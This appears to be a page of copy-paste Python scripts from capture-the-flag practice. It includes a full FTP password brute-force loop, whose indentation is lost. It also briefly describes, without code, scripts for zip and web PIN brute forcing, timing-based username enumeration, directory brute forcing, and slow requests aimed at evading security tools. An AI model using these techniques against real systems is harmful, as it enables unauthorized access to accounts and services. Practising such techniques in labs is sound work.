Examples and Quick Scripts
This is a page of quick wins and scripts written to achieve certain goals. Copy/paste parts as needed!
Python
FTP Brute Force
Brute forces all passwords from words.txt for the username secure_usertry/except loop.
from ftplib import FTP
import time
ftp = FTP()
HOST = 'services.ftp.site'
PORT = 2121
ftp.set_debuglevel(2)
dictionary = 'words.txt'
password = None
with open(dictionary, 'r') as f:
for line in f.readlines():
password = line.strip('\n')
print('trying ' + password)
time.sleep(0.001)
try:
ftp.connect(HOST, PORT)
ftp.login(user='secure_user', passwd=password)
ftp.quit()
except:
pass
print(password)RC4 Brute Force
ARC4 brute forcing script written to try and decrypt a string. The decryption attempt is passed to another loop to try and determine if the string is readable ASCII or not. I chose not to pause or quit the loop because I was getting some false positives.
Zip File Brute Force Guess with B64 Password
This script will attempt to unzip an archive with a password from rockyou. This particular challenge said the password was base64 encoded, which is what the first part of the loop is for. Second part of loop is a try/except loop to pass the unzip error with wrong password.
Alternatively, one could get the zip hash then convert the rockyou list into base64 for each line - I chose to NOT do this to prevent having an extra rockyou file full of base64.
Connect to a Website, Establish Session, and Send Data
Establishing a session prevents multiple TCP connections from having to be opened. Additionally, taking the JSON and interpreting natively makes things useful!
PIN Brute Force for Web Login
This script adds a pin guess for a web login attempt. The pin is zfilled which makes 4 to 004. Additionally there’s a regular expression to find if access was denied or not and give what the PIN was while breaking out of the loop. A final print statement lets me know that they were all looped through, useful when I wasn't sure if my requests were properly formatted.
Username Guessing based on Timing Analysis
This script pays attention to the timing between good usernames and bad ones to help determine if a username is valid.
Connect to Raw Socket and Pass Data
This challenge required connecting to the socket and brute forcing the first byte back, I didn’t fully finish this challenge because it was a little frustrating. I need to spend more time on this script.
ROT13 Automatic Decoder
Written by Jess! Automatically finds the decoded input using the enchant library. Searches for legitimate words in the English dictionary, very cool!
Choose Random Numbers
This program chooses some random integers and assigns them to a string. Nothing fancy.
List of all Characters from aa to zz :
aa to zz :Quick way to create a list of all possible lowercase values
Below is brute forcing all lowercase characters to find a hidden web dir
Same one, just with a progress bar!
Receive POST in Python
This uses to receive large items sent via POST
Async HTTP Requests
These types of requests can try to time out various security tools by intentionally taking a very slow time to deliver a payload.
Last updated
Was this helpful?